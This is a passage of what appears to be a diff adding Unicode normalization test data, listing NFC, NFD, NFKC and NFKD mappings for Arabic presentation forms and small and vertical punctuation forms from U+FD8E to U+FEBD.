+{ source: [0xFD8E], NFC: [0xFD8E], NFD: [0xFD8E], NFKC: [0x0645, 0x062E, 0x062C], NFKD: [0x0645, 0x062E, 0x062C] },
+{ source: [0xFD8F], NFC: [0xFD8F], NFD: [0xFD8F], NFKC: [0x0645, 0x062E, 0x0645], NFKD: [0x0645, 0x062E, 0x0645] },
+{ source: [0xFD92], NFC: [0xFD92], NFD: [0xFD92], NFKC: [0x0645, 0x062C, 0x062E], NFKD: [0x0645, 0x062C, 0x062E] },
+{ source: [0xFD93], NFC: [0xFD93], NFD: [0xFD93], NFKC: [0x0647, 0x0645, 0x062C], NFKD: [0x0647, 0x0645, 0x062C] },
+{ source: [0xFD94], NFC: [0xFD94], NFD: [0xFD94], NFKC: [0x0647, 0x0645, 0x0645], NFKD: [0x0647, 0x0645, 0x0645] },
+{ source: [0xFD95], NFC: [0xFD95], NFD: [0xFD95], NFKC: [0x0646, 0x062D, 0x0645], NFKD: [0x0646, 0x062D, 0x0645] },
+{ source: [0xFD96], NFC: [0xFD96], NFD: [0xFD96], NFKC: [0x0646, 0x062D, 0x0649], NFKD: [0x0646, 0x062D, 0x0649] },
+{ source: [0xFD97], NFC: [0xFD97], NFD: [0xFD97], NFKC: [0x0646, 0x062C, 0x0645], NFKD: [0x0646, 0x062C, 0x0645] },
+{ source: [0xFD98], NFC: [0xFD98], NFD: [0xFD98], NFKC: [0x0646, 0x062C, 0x0645], NFKD: [0x0646, 0x062C, 0x0645] },
+{ source: [0xFD99], NFC: [0xFD99], NFD: [0xFD99], NFKC: [0x0646, 0x062C, 0x0649], NFKD: [0x0646, 0x062C, 0x0649] },
+{ source: [0xFD9A], NFC: [0xFD9A], NFD: [0xFD9A], NFKC: [0x0646, 0x0645, 0x064A], NFKD: [0x0646, 0x0645, 0x064A] },
+{ source: [0xFD9B], NFC: [0xFD9B], NFD: [0xFD9B], NFKC: [0x0646, 0x0645, 0x0649], NFKD: [0x0646, 0x0645, 0x0649] },
+{ source: [0xFD9C], NFC: [0xFD9C], NFD: [0xFD9C], NFKC: [0x064A, 0x0645, 0x0645], NFKD: [0x064A, 0x0645, 0x0645] },
+{ source: [0xFD9D], NFC: [0xFD9D], NFD: [0xFD9D], NFKC: [0x064A, 0x0645, 0x0645], NFKD: [0x064A, 0x0645, 0x0645] },
+{ source: [0xFD9E], NFC: [0xFD9E], NFD: [0xFD9E], NFKC: [0x0628, 0x062E, 0x064A], NFKD: [0x0628, 0x062E, 0x064A] },
+{ source: [0xFD9F], NFC: [0xFD9F], NFD: [0xFD9F], NFKC: [0x062A, 0x062C, 0x064A], NFKD: [0x062A, 0x062C, 0x064A] },
+{ source: [0xFDA0], NFC: [0xFDA0], NFD: [0xFDA0], NFKC: [0x062A, 0x062C, 0x0649], NFKD: [0x062A, 0x062C, 0x0649] },
+{ source: [0xFDA1], NFC: [0xFDA1], NFD: [0xFDA1], NFKC: [0x062A, 0x062E, 0x064A], NFKD: [0x062A, 0x062E, 0x064A] },
+{ source: [0xFDA2], NFC: [0xFDA2], NFD: [0xFDA2], NFKC: [0x062A, 0x062E, 0x0649], NFKD: [0x062A, 0x062E, 0x0649] },
+{ source: [0xFDA3], NFC: [0xFDA3], NFD: [0xFDA3], NFKC: [0x062A, 0x0645, 0x064A], NFKD: [0x062A, 0x0645, 0x064A] },
+{ source: [0xFDA4], NFC: [0xFDA4], NFD: [0xFDA4], NFKC: [0x062A, 0x0645, 0x0649], NFKD: [0x062A, 0x0645, 0x0649] },
+{ source: [0xFDA5], NFC: [0xFDA5], NFD: [0xFDA5], NFKC: [0x062C, 0x0645, 0x064A], NFKD: [0x062C, 0x0645, 0x064A] },
+{ source: [0xFDA6], NFC: [0xFDA6], NFD: [0xFDA6], NFKC: [0x062C, 0x062D, 0x0649], NFKD: [0x062C, 0x062D, 0x0649] },
+{ source: [0xFDA7], NFC: [0xFDA7], NFD: [0xFDA7], NFKC: [0x062C, 0x0645, 0x0649], NFKD: [0x062C, 0x0645, 0x0649] },
+{ source: [0xFDA8], NFC: [0xFDA8], NFD: [0xFDA8], NFKC: [0x0633, 0x062E, 0x0649], NFKD: [0x0633, 0x062E, 0x0649] },
+{ source: [0xFDA9], NFC: [0xFDA9], NFD: [0xFDA9], NFKC: [0x0635, 0x062D, 0x064A], NFKD: [0x0635, 0x062D, 0x064A] },
+{ source: [0xFDAA], NFC: [0xFDAA], NFD: [0xFDAA], NFKC: [0x0634, 0x062D, 0x064A], NFKD: [0x0634, 0x062D, 0x064A] },
+{ source: [0xFDAB], NFC: [0xFDAB], NFD: [0xFDAB], NFKC: [0x0636, 0x062D, 0x064A], NFKD: [0x0636, 0x062D, 0x064A] },
+{ source: [0xFDAC], NFC: [0xFDAC], NFD: [0xFDAC], NFKC: [0x0644, 0x062C, 0x064A], NFKD: [0x0644, 0x062C, 0x064A] },
+{ source: [0xFDAD], NFC: [0xFDAD], NFD: [0xFDAD], NFKC: [0x0644, 0x0645, 0x064A], NFKD: [0x0644, 0x0645, 0x064A] },
+{ source: [0xFDAE], NFC: [0xFDAE], NFD: [0xFDAE], NFKC: [0x064A, 0x062D, 0x064A], NFKD: [0x064A, 0x062D, 0x064A] },
+{ source: [0xFDAF], NFC: [0xFDAF], NFD: [0xFDAF], NFKC: [0x064A, 0x062C, 0x064A], NFKD: [0x064A, 0x062C, 0x064A] },
+{ source: [0xFDB0], NFC: [0xFDB0], NFD: [0xFDB0], NFKC: [0x064A, 0x0645, 0x064A], NFKD: [0x064A, 0x0645, 0x064A] },
+{ source: [0xFDB1], NFC: [0xFDB1], NFD: [0xFDB1], NFKC: [0x0645, 0x0645, 0x064A], NFKD: [0x0645, 0x0645, 0x064A] },
+{ source: [0xFDB2], NFC: [0xFDB2], NFD: [0xFDB2], NFKC: [0x0642, 0x0645, 0x064A], NFKD: [0x0642, 0x0645, 0x064A] },
+{ source: [0xFDB3], NFC: [0xFDB3], NFD: [0xFDB3], NFKC: [0x0646, 0x062D, 0x064A], NFKD: [0x0646, 0x062D, 0x064A] },
+{ source: [0xFDB4], NFC: [0xFDB4], NFD: [0xFDB4], NFKC: [0x0642, 0x0645, 0x062D], NFKD: [0x0642, 0x0645, 0x062D] },
+{ source: [0xFDB5], NFC: [0xFDB5], NFD: [0xFDB5], NFKC: [0x0644, 0x062D, 0x0645], NFKD: [0x0644, 0x062D, 0x0645] },
+{ source: [0xFDB6], NFC: [0xFDB6], NFD: [0xFDB6], NFKC: [0x0639, 0x0645, 0x064A], NFKD: [0x0639, 0x0645, 0x064A] },
+{ source: [0xFDB7], NFC: [0xFDB7], NFD: [0xFDB7], NFKC: [0x0643, 0x0645, 0x064A], NFKD: [0x0643, 0x0645, 0x064A] },
+{ source: [0xFDB8], NFC: [0xFDB8], NFD: [0xFDB8], NFKC: [0x0646, 0x062C, 0x062D], NFKD: [0x0646, 0x062C, 0x062D] },
+{ source: [0xFDB9], NFC: [0xFDB9], NFD: [0xFDB9], NFKC: [0x0645, 0x062E, 0x064A], NFKD: [0x0645, 0x062E, 0x064A] },
+{ source: [0xFDBA], NFC: [0xFDBA], NFD: [0xFDBA], NFKC: [0x0644, 0x062C, 0x0645], NFKD: [0x0644, 0x062C, 0x0645] },
+{ source: [0xFDBB], NFC: [0xFDBB], NFD: [0xFDBB], NFKC: [0x0643, 0x0645, 0x0645], NFKD: [0x0643, 0x0645, 0x0645] },
+{ source: [0xFDBC], NFC: [0xFDBC], NFD: [0xFDBC], NFKC: [0x0644, 0x062C, 0x0645], NFKD: [0x0644, 0x062C, 0x0645] },
+{ source: [0xFDBD], NFC: [0xFDBD], NFD: [0xFDBD], NFKC: [0x0646, 0x062C, 0x062D], NFKD: [0x0646, 0x062C, 0x062D] },
+{ source: [0xFDBE], NFC: [0xFDBE], NFD: [0xFDBE], NFKC: [0x062C, 0x062D, 0x064A], NFKD: [0x062C, 0x062D, 0x064A] },
+{ source: [0xFDBF], NFC: [0xFDBF], NFD: [0xFDBF], NFKC: [0x062D, 0x062C, 0x064A], NFKD: [0x062D, 0x062C, 0x064A] },
+{ source: [0xFDC0], NFC: [0xFDC0], NFD: [0xFDC0], NFKC: [0x0645, 0x062C, 0x064A], NFKD: [0x0645, 0x062C, 0x064A] },
+{ source: [0xFDC1], NFC: [0xFDC1], NFD: [0xFDC1], NFKC: [0x0641, 0x0645, 0x064A], NFKD: [0x0641, 0x0645, 0x064A] },
+{ source: [0xFDC2], NFC: [0xFDC2], NFD: [0xFDC2], NFKC: [0x0628, 0x062D, 0x064A], NFKD: [0x0628, 0x062D, 0x064A] },
+{ source: [0xFDC3], NFC: [0xFDC3], NFD: [0xFDC3], NFKC: [0x0643, 0x0645, 0x0645], NFKD: [0x0643, 0x0645, 0x0645] },
+{ source: [0xFDC4], NFC: [0xFDC4], NFD: [0xFDC4], NFKC: [0x0639, 0x062C, 0x0645], NFKD: [0x0639, 0x062C, 0x0645] },
+{ source: [0xFDC5], NFC: [0xFDC5], NFD: [0xFDC5], NFKC: [0x0635, 0x0645, 0x0645], NFKD: [0x0635, 0x0645, 0x0645] },
+{ source: [0xFDC6], NFC: [0xFDC6], NFD: [0xFDC6], NFKC: [0x0633, 0x062E, 0x064A], NFKD: [0x0633, 0x062E, 0x064A] },
+{ source: [0xFDC7], NFC: [0xFDC7], NFD: [0xFDC7], NFKC: [0x0646, 0x062C, 0x064A], NFKD: [0x0646, 0x062C, 0x064A] },
+{ source: [0xFDF0], NFC: [0xFDF0], NFD: [0xFDF0], NFKC: [0x0635, 0x0644, 0x06D2], NFKD: [0x0635, 0x0644, 0x06D2] },
+{ source: [0xFDF1], NFC: [0xFDF1], NFD: [0xFDF1], NFKC: [0x0642, 0x0644, 0x06D2], NFKD: [0x0642, 0x0644, 0x06D2] },
+{ source: [0xFDF2], NFC: [0xFDF2], NFD: [0xFDF2], NFKC: [0x0627, 0x0644, 0x0644, 0x0647], NFKD: [0x0627, 0x0644, 0x0644, 0x0647] },
+{ source: [0xFDF3], NFC: [0xFDF3], NFD: [0xFDF3], NFKC: [0x0627, 0x0643, 0x0628, 0x0631], NFKD: [0x0627, 0x0643, 0x0628, 0x0631] },
+{ source: [0xFDF4], NFC: [0xFDF4], NFD: [0xFDF4], NFKC: [0x0645, 0x062D, 0x0645, 0x062F], NFKD: [0x0645, 0x062D, 0x0645, 0x062F] },
+{ source: [0xFDF5], NFC: [0xFDF5], NFD: [0xFDF5], NFKC: [0x0635, 0x0644, 0x0639, 0x0645], NFKD: [0x0635, 0x0644, 0x0639, 0x0645] },
+{ source: [0xFDF6], NFC: [0xFDF6], NFD: [0xFDF6], NFKC: [0x0631, 0x0633, 0x0648, 0x0644], NFKD: [0x0631, 0x0633, 0x0648, 0x0644] },
+{ source: [0xFDF7], NFC: [0xFDF7], NFD: [0xFDF7], NFKC: [0x0639, 0x0644, 0x064A, 0x0647], NFKD: [0x0639, 0x0644, 0x064A, 0x0647] },
+{ source: [0xFDF8], NFC: [0xFDF8], NFD: [0xFDF8], NFKC: [0x0648, 0x0633, 0x0644, 0x0645], NFKD: [0x0648, 0x0633, 0x0644, 0x0645] },
+{ source: [0xFDF9], NFC: [0xFDF9], NFD: [0xFDF9], NFKC: [0x0635, 0x0644, 0x0649], NFKD: [0x0635, 0x0644, 0x0649] },
+{ source: [0xFDFA], NFC: [0xFDFA], NFD: [0xFDFA], NFKC: [0x0635, 0x0644, 0x0649, 0x0020, 0x0627, 0x0644, 0x0644, 0x0647, 0x0020, 0x0639, 0x0644, 0x064A, 0x0647, 0x0020, 0x0648, 0x0633, 0x0644, 0x0645], NFKD: [0x0635, 0x0644, 0x0649, 0x0020, 0x0627, 0x0644, 0x0644, 0x0647, 0x0020, 0x0639, 0x0644, 0x064A, 0x0647, 0x0020, 0x0648, 0x0633, 0x0644, 0x0645] },
+{ source: [0xFDFB], NFC: [0xFDFB], NFD: [0xFDFB], NFKC: [0x062C, 0x0644, 0x0020, 0x062C, 0x0644, 0x0627, 0x0644, 0x0647], NFKD: [0x062C, 0x0644, 0x0020, 0x062C, 0x0644, 0x0627, 0x0644, 0x0647] },
+{ source: [0xFDFC], NFC: [0xFDFC], NFD: [0xFDFC], NFKC: [0x0631, 0x06CC, 0x0627, 0x0644], NFKD: [0x0631, 0x06CC, 0x0627, 0x0644] },
+{ source: [0xFE10], NFC: [0xFE10], NFD: [0xFE10], NFKC: [0x002C], NFKD: [0x002C] },
+{ source: [0xFE11], NFC: [0xFE11], NFD: [0xFE11], NFKC: [0x3001], NFKD: [0x3001] },
+{ source: [0xFE12], NFC: [0xFE12], NFD: [0xFE12], NFKC: [0x3002], NFKD: [0x3002] },
+{ source: [0xFE13], NFC: [0xFE13], NFD: [0xFE13], NFKC: [0x003A], NFKD: [0x003A] },
+{ source: [0xFE14], NFC: [0xFE14], NFD: [0xFE14], NFKC: [0x003B], NFKD: [0x003B] },
+{ source: [0xFE15], NFC: [0xFE15], NFD: [0xFE15], NFKC: [0x0021], NFKD: [0x0021] },
+{ source: [0xFE16], NFC: [0xFE16], NFD: [0xFE16], NFKC: [0x003F], NFKD: [0x003F] },
+{ source: [0xFE17], NFC: [0xFE17], NFD: [0xFE17], NFKC: [0x3016], NFKD: [0x3016] },
+{ source: [0xFE18], NFC: [0xFE18], NFD: [0xFE18], NFKC: [0x3017], NFKD: [0x3017] },
+{ source: [0xFE19], NFC: [0xFE19], NFD: [0xFE19], NFKC: [0x002E, 0x002E, 0x002E], NFKD: [0x002E, 0x002E, 0x002E] },
+{ source: [0xFE30], NFC: [0xFE30], NFD: [0xFE30], NFKC: [0x002E, 0x002E], NFKD: [0x002E, 0x002E] },
+{ source: [0xFE31], NFC: [0xFE31], NFD: [0xFE31], NFKC: [0x2014], NFKD: [0x2014] },
+{ source: [0xFE32], NFC: [0xFE32], NFD: [0xFE32], NFKC: [0x2013], NFKD: [0x2013] },
+{ source: [0xFE33], NFC: [0xFE33], NFD: [0xFE33], NFKC: [0x005F], NFKD: [0x005F] },
+{ source: [0xFE34], NFC: [0xFE34], NFD: [0xFE34], NFKC: [0x005F], NFKD: [0x005F] },
+{ source: [0xFE35], NFC: [0xFE35], NFD: [0xFE35], NFKC: [0x0028], NFKD: [0x0028] },
+{ source: [0xFE36], NFC: [0xFE36], NFD: [0xFE36], NFKC: [0x0029], NFKD: [0x0029] },
+{ source: [0xFE37], NFC: [0xFE37], NFD: [0xFE37], NFKC: [0x007B], NFKD: [0x007B] },
+{ source: [0xFE38], NFC: [0xFE38], NFD: [0xFE38], NFKC: [0x007D], NFKD: [0x007D] },
+{ source: [0xFE39], NFC: [0xFE39], NFD: [0xFE39], NFKC: [0x3014], NFKD: [0x3014] },
+{ source: [0xFE3A], NFC: [0xFE3A], NFD: [0xFE3A], NFKC: [0x3015], NFKD: [0x3015] },
+{ source: [0xFE3B], NFC: [0xFE3B], NFD: [0xFE3B], NFKC: [0x3010], NFKD: [0x3010] },
+{ source: [0xFE3C], NFC: [0xFE3C], NFD: [0xFE3C], NFKC: [0x3011], NFKD: [0x3011] },
+{ source: [0xFE3D], NFC: [0xFE3D], NFD: [0xFE3D], NFKC: [0x300A], NFKD: [0x300A] },
+{ source: [0xFE3E], NFC: [0xFE3E], NFD: [0xFE3E], NFKC: [0x300B], NFKD: [0x300B] },
+{ source: [0xFE3F], NFC: [0xFE3F], NFD: [0xFE3F], NFKC: [0x3008], NFKD: [0x3008] },
+{ source: [0xFE40], NFC: [0xFE40], NFD: [0xFE40], NFKC: [0x3009], NFKD: [0x3009] },
+{ source: [0xFE41], NFC: [0xFE41], NFD: [0xFE41], NFKC: [0x300C], NFKD: [0x300C] },
+{ source: [0xFE42], NFC: [0xFE42], NFD: [0xFE42], NFKC: [0x300D], NFKD: [0x300D] },
+{ source: [0xFE43], NFC: [0xFE43], NFD: [0xFE43], NFKC: [0x300E], NFKD: [0x300E] },
+{ source: [0xFE44], NFC: [0xFE44], NFD: [0xFE44], NFKC: [0x300F], NFKD: [0x300F] },
+{ source: [0xFE47], NFC: [0xFE47], NFD: [0xFE47], NFKC: [0x005B], NFKD: [0x005B] },
+{ source: [0xFE48], NFC: [0xFE48], NFD: [0xFE48], NFKC: [0x005D], NFKD: [0x005D] },
+{ source: [0xFE49], NFC: [0xFE49], NFD: [0xFE49], NFKC: [0x0020, 0x0305], NFKD: [0x0020, 0x0305] },
+{ source: [0xFE4A], NFC: [0xFE4A], NFD: [0xFE4A], NFKC: [0x0020, 0x0305], NFKD: [0x0020, 0x0305] },
+{ source: [0xFE4B], NFC: [0xFE4B], NFD: [0xFE4B], NFKC: [0x0020, 0x0305], NFKD: [0x0020, 0x0305] },
+{ source: [0xFE4C], NFC: [0xFE4C], NFD: [0xFE4C], NFKC: [0x0020, 0x0305], NFKD: [0x0020, 0x0305] },
+{ source: [0xFE4D], NFC: [0xFE4D], NFD: [0xFE4D], NFKC: [0x005F], NFKD: [0x005F] },
+{ source: [0xFE4E], NFC: [0xFE4E], NFD: [0xFE4E], NFKC: [0x005F], NFKD: [0x005F] },
+{ source: [0xFE4F], NFC: [0xFE4F], NFD: [0xFE4F], NFKC: [0x005F], NFKD: [0x005F] },
+{ source: [0xFE50], NFC: [0xFE50], NFD: [0xFE50], NFKC: [0x002C], NFKD: [0x002C] },
+{ source: [0xFE51], NFC: [0xFE51], NFD: [0xFE51], NFKC: [0x3001], NFKD: [0x3001] },
+{ source: [0xFE52], NFC: [0xFE52], NFD: [0xFE52], NFKC: [0x002E], NFKD: [0x002E] },
+{ source: [0xFE54], NFC: [0xFE54], NFD: [0xFE54], NFKC: [0x003B], NFKD: [0x003B] },
+{ source: [0xFE55], NFC: [0xFE55], NFD: [0xFE55], NFKC: [0x003A], NFKD: [0x003A] },
+{ source: [0xFE56], NFC: [0xFE56], NFD: [0xFE56], NFKC: [0x003F], NFKD: [0x003F] },
+{ source: [0xFE57], NFC: [0xFE57], NFD: [0xFE57], NFKC: [0x0021], NFKD: [0x0021] },
+{ source: [0xFE58], NFC: [0xFE58], NFD: [0xFE58], NFKC: [0x2014], NFKD: [0x2014] },
+{ source: [0xFE59], NFC: [0xFE59], NFD: [0xFE59], NFKC: [0x0028], NFKD: [0x0028] },
+{ source: [0xFE5A], NFC: [0xFE5A], NFD: [0xFE5A], NFKC: [0x0029], NFKD: [0x0029] },
+{ source: [0xFE5B], NFC: [0xFE5B], NFD: [0xFE5B], NFKC: [0x007B], NFKD: [0x007B] },
+{ source: [0xFE5C], NFC: [0xFE5C], NFD: [0xFE5C], NFKC: [0x007D], NFKD: [0x007D] },
+{ source: [0xFE5D], NFC: [0xFE5D], NFD: [0xFE5D], NFKC: [0x3014], NFKD: [0x3014] },
+{ source: [0xFE5E], NFC: [0xFE5E], NFD: [0xFE5E], NFKC: [0x3015], NFKD: [0x3015] },
+{ source: [0xFE5F], NFC: [0xFE5F], NFD: [0xFE5F], NFKC: [0x0023], NFKD: [0x0023] },
+{ source: [0xFE60], NFC: [0xFE60], NFD: [0xFE60], NFKC: [0x0026], NFKD: [0x0026] },
+{ source: [0xFE61], NFC: [0xFE61], NFD: [0xFE61], NFKC: [0x002A], NFKD: [0x002A] },
+{ source: [0xFE62], NFC: [0xFE62], NFD: [0xFE62], NFKC: [0x002B], NFKD: [0x002B] },
+{ source: [0xFE63], NFC: [0xFE63], NFD: [0xFE63], NFKC: [0x002D], NFKD: [0x002D] },
+{ source: [0xFE64], NFC: [0xFE64], NFD: [0xFE64], NFKC: [0x003C], NFKD: [0x003C] },
+{ source: [0xFE65], NFC: [0xFE65], NFD: [0xFE65], NFKC: [0x003E], NFKD: [0x003E] },
+{ source: [0xFE66], NFC: [0xFE66], NFD: [0xFE66], NFKC: [0x003D], NFKD: [0x003D] },
+{ source: [0xFE68], NFC: [0xFE68], NFD: [0xFE68], NFKC: [0x005C], NFKD: [0x005C] },
+{ source: [0xFE69], NFC: [0xFE69], NFD: [0xFE69], NFKC: [0x0024], NFKD: [0x0024] },
+{ source: [0xFE6A], NFC: [0xFE6A], NFD: [0xFE6A], NFKC: [0x0025], NFKD: [0x0025] },
+{ source: [0xFE6B], NFC: [0xFE6B], NFD: [0xFE6B], NFKC: [0x0040], NFKD: [0x0040] },
+{ source: [0xFE70], NFC: [0xFE70], NFD: [0xFE70], NFKC: [0x0020, 0x064B], NFKD: [0x0020, 0x064B] },
+{ source: [0xFE71], NFC: [0xFE71], NFD: [0xFE71], NFKC: [0x0640, 0x064B], NFKD: [0x0640, 0x064B] },
+{ source: [0xFE72], NFC: [0xFE72], NFD: [0xFE72], NFKC: [0x0020, 0x064C], NFKD: [0x0020, 0x064C] },
+{ source: [0xFE74], NFC: [0xFE74], NFD: [0xFE74], NFKC: [0x0020, 0x064D], NFKD: [0x0020, 0x064D] },
+{ source: [0xFE76], NFC: [0xFE76], NFD: [0xFE76], NFKC: [0x0020, 0x064E], NFKD: [0x0020, 0x064E] },
+{ source: [0xFE77], NFC: [0xFE77], NFD: [0xFE77], NFKC: [0x0640, 0x064E], NFKD: [0x0640, 0x064E] },
+{ source: [0xFE78], NFC: [0xFE78], NFD: [0xFE78], NFKC: [0x0020, 0x064F], NFKD: [0x0020, 0x064F] },
+{ source: [0xFE79], NFC: [0xFE79], NFD: [0xFE79], NFKC: [0x0640, 0x064F], NFKD: [0x0640, 0x064F] },
+{ source: [0xFE7A], NFC: [0xFE7A], NFD: [0xFE7A], NFKC: [0x0020, 0x0650], NFKD: [0x0020, 0x0650] },
+{ source: [0xFE7B], NFC: [0xFE7B], NFD: [0xFE7B], NFKC: [0x0640, 0x0650], NFKD: [0x0640, 0x0650] },
+{ source: [0xFE7C], NFC: [0xFE7C], NFD: [0xFE7C], NFKC: [0x0020, 0x0651], NFKD: [0x0020, 0x0651] },
+{ source: [0xFE7D], NFC: [0xFE7D], NFD: [0xFE7D], NFKC: [0x0640, 0x0651], NFKD: [0x0640, 0x0651] },
+{ source: [0xFE7E], NFC: [0xFE7E], NFD: [0xFE7E], NFKC: [0x0020, 0x0652], NFKD: [0x0020, 0x0652] },
+{ source: [0xFE7F], NFC: [0xFE7F], NFD: [0xFE7F], NFKC: [0x0640, 0x0652], NFKD: [0x0640, 0x0652] },
+{ source: [0xFE80], NFC: [0xFE80], NFD: [0xFE80], NFKC: [0x0621], NFKD: [0x0621] },
+{ source: [0xFE81], NFC: [0xFE81], NFD: [0xFE81], NFKC: [0x0622], NFKD: [0x0627, 0x0653] },
+{ source: [0xFE82], NFC: [0xFE82], NFD: [0xFE82], NFKC: [0x0622], NFKD: [0x0627, 0x0653] },
+{ source: [0xFE83], NFC: [0xFE83], NFD: [0xFE83], NFKC: [0x0623], NFKD: [0x0627, 0x0654] },
+{ source: [0xFE84], NFC: [0xFE84], NFD: [0xFE84], NFKC: [0x0623], NFKD: [0x0627, 0x0654] },
+{ source: [0xFE85], NFC: [0xFE85], NFD: [0xFE85], NFKC: [0x0624], NFKD: [0x0648, 0x0654] },
+{ source: [0xFE86], NFC: [0xFE86], NFD: [0xFE86], NFKC: [0x0624], NFKD: [0x0648, 0x0654] },
+{ source: [0xFE87], NFC: [0xFE87], NFD: [0xFE87], NFKC: [0x0625], NFKD: [0x0627, 0x0655] },
+{ source: [0xFE88], NFC: [0xFE88], NFD: [0xFE88], NFKC: [0x0625], NFKD: [0x0627, 0x0655] },
+{ source: [0xFE89], NFC: [0xFE89], NFD: [0xFE89], NFKC: [0x0626], NFKD: [0x064A, 0x0654] },
+{ source: [0xFE8A], NFC: [0xFE8A], NFD: [0xFE8A], NFKC: [0x0626], NFKD: [0x064A, 0x0654] },
+{ source: [0xFE8B], NFC: [0xFE8B], NFD: [0xFE8B], NFKC: [0x0626], NFKD: [0x064A, 0x0654] },
+{ source: [0xFE8C], NFC: [0xFE8C], NFD: [0xFE8C], NFKC: [0x0626], NFKD: [0x064A, 0x0654] },
+{ source: [0xFE8D], NFC: [0xFE8D], NFD: [0xFE8D], NFKC: [0x0627], NFKD: [0x0627] },
+{ source: [0xFE8E], NFC: [0xFE8E], NFD: [0xFE8E], NFKC: [0x0627], NFKD: [0x0627] },
+{ source: [0xFE8F], NFC: [0xFE8F], NFD: [0xFE8F], NFKC: [0x0628], NFKD: [0x0628] },
+{ source: [0xFE90], NFC: [0xFE90], NFD: [0xFE90], NFKC: [0x0628], NFKD: [0x0628] },
+{ source: [0xFE91], NFC: [0xFE91], NFD: [0xFE91], NFKC: [0x0628], NFKD: [0x0628] },
+{ source: [0xFE92], NFC: [0xFE92], NFD: [0xFE92], NFKC: [0x0628], NFKD: [0x0628] },
+{ source: [0xFE93], NFC: [0xFE93], NFD: [0xFE93], NFKC: [0x0629], NFKD: [0x0629] },
+{ source: [0xFE94], NFC: [0xFE94], NFD: [0xFE94], NFKC: [0x0629], NFKD: [0x0629] },
+{ source: [0xFE95], NFC: [0xFE95], NFD: [0xFE95], NFKC: [0x062A], NFKD: [0x062A] },
+{ source: [0xFE96], NFC: [0xFE96], NFD: [0xFE96], NFKC: [0x062A], NFKD: [0x062A] },
+{ source: [0xFE97], NFC: [0xFE97], NFD: [0xFE97], NFKC: [0x062A], NFKD: [0x062A] },
+{ source: [0xFE98], NFC: [0xFE98], NFD: [0xFE98], NFKC: [0x062A], NFKD: [0x062A] },
+{ source: [0xFE99], NFC: [0xFE99], NFD: [0xFE99], NFKC: [0x062B], NFKD: [0x062B] },
+{ source: [0xFE9A], NFC: [0xFE9A], NFD: [0xFE9A], NFKC: [0x062B], NFKD: [0x062B] },
+{ source: [0xFE9B], NFC: [0xFE9B], NFD: [0xFE9B], NFKC: [0x062B], NFKD: [0x062B] },
+{ source: [0xFE9C], NFC: [0xFE9C], NFD: [0xFE9C], NFKC: [0x062B], NFKD: [0x062B] },
+{ source: [0xFE9D], NFC: [0xFE9D], NFD: [0xFE9D], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0xFE9E], NFC: [0xFE9E], NFD: [0xFE9E], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0xFE9F], NFC: [0xFE9F], NFD: [0xFE9F], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0xFEA0], NFC: [0xFEA0], NFD: [0xFEA0], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0xFEA1], NFC: [0xFEA1], NFD: [0xFEA1], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0xFEA2], NFC: [0xFEA2], NFD: [0xFEA2], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0xFEA3], NFC: [0xFEA3], NFD: [0xFEA3], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0xFEA4], NFC: [0xFEA4], NFD: [0xFEA4], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0xFEA5], NFC: [0xFEA5], NFD: [0xFEA5], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0xFEA6], NFC: [0xFEA6], NFD: [0xFEA6], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0xFEA7], NFC: [0xFEA7], NFD: [0xFEA7], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0xFEA8], NFC: [0xFEA8], NFD: [0xFEA8], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0xFEA9], NFC: [0xFEA9], NFD: [0xFEA9], NFKC: [0x062F], NFKD: [0x062F] },
+{ source: [0xFEAA], NFC: [0xFEAA], NFD: [0xFEAA], NFKC: [0x062F], NFKD: [0x062F] },
+{ source: [0xFEAB], NFC: [0xFEAB], NFD: [0xFEAB], NFKC: [0x0630], NFKD: [0x0630] },
+{ source: [0xFEAC], NFC: [0xFEAC], NFD: [0xFEAC], NFKC: [0x0630], NFKD: [0x0630] },
+{ source: [0xFEAD], NFC: [0xFEAD], NFD: [0xFEAD], NFKC: [0x0631], NFKD: [0x0631] },
+{ source: [0xFEAE], NFC: [0xFEAE], NFD: [0xFEAE], NFKC: [0x0631], NFKD: [0x0631] },
+{ source: [0xFEAF], NFC: [0xFEAF], NFD: [0xFEAF], NFKC: [0x0632], NFKD: [0x0632] },
+{ source: [0xFEB0], NFC: [0xFEB0], NFD: [0xFEB0], NFKC: [0x0632], NFKD: [0x0632] },
+{ source: [0xFEB1], NFC: [0xFEB1], NFD: [0xFEB1], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0xFEB2], NFC: [0xFEB2], NFD: [0xFEB2], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0xFEB3], NFC: [0xFEB3], NFD: [0xFEB3], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0xFEB4], NFC: [0xFEB4], NFD: [0xFEB4], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0xFEB5], NFC: [0xFEB5], NFD: [0xFEB5], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0xFEB6], NFC: [0xFEB6], NFD: [0xFEB6], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0xFEB7], NFC: [0xFEB7], NFD: [0xFEB7], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0xFEB8], NFC: [0xFEB8], NFD: [0xFEB8], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0xFEB9], NFC: [0xFEB9], NFD: [0xFEB9], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0xFEBA], NFC: [0xFEBA], NFD: [0xFEBA], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0xFEBB], NFC: [0xFEBB], NFD: [0xFEBB], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0xFEBC], NFC: [0xFEBC], NFD: [0xFEBC], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0xFEBD], NFC: [0xFEBD], NFD: [0xFEBD], NFKC: [0x0636], NFKD: [0x0636] },
